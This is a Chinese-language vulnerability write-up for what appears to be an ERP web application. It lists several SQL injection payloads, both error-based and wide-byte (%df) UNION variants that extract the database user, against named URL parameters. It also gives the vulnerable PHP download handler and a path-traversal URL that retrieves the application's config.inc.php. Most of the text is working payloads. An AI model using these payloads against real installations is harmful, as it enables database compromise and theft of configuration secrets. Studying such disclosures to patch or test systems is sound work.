1、上述案例中因版本的问题有些需要加入宽字节来注入，本地下载安装包就是该类版本。
比如说不需要宽字节注入的；测试Payload如下：
' AND (SELECT 1031 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YDTF'='YDTF
对于需要宽字节注入的测试Payload:
%df'UNION ALL SELECT NULL,CONCAT(0x7c,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x7c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%23
2、第二处与第一处类似，不测试了
3、测试Payload:
1') AND (SELECT 1735 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('SjdM'='SjdM
宽字节测试Payload:
%df') UNION ALL SELECT NULL,CONCAT(0x7c,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x7c),NULL,NULL%23
4、/general/ERP/Development/main.php?Tablename=kaccessbank&FileIniname=accessban
非宽字节测试Payload:
' AND (SELECT 7582 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'cqiW'='cqiW&FileIniname=accessban
5、任意文件下载可能因为权限问题，在本地测试是成功的，PHP代码如下：
$attachmentid = $_GET[attachmentid];
$attachmentname = $_GET[attachmentname];
if ( $_GET['action'] == "download" )
{
$pathname = "../attachment/".$attachmentid."/".urldecode( $attachmentname )."";
is_file( $pathname ) ? "" : ( $pathname = "attachment/".$attachmentid."/".urldecode( $attachmentname )."" );
if ( is_file( $pathname ) )
{
$filesize = filesize( $pathname );
$file = fopen( $pathname, "r" );
header( "Pragma: no-cache" );
header( "Cache-control: private" );
header( "Content-type: application/octet-stream" );
header( "Content-Length: {$filesize}" );
header( "Content-Disposition: attachment; filename=\"".urldecode( $attachmentname )."\"" );
header( "Content-Description: ".$_SERVER['SERVER_NAME'] );
echo fread( $file, $filesize );
fclose( $file );
exit( );
}
构造Payload:
http://localhost:81/general/ERP/Framework/download.php?action=download&attachmentid=1&attachmentname=..%252f..%252f..%252f..%252fmyerp%252fconfig.inc.php
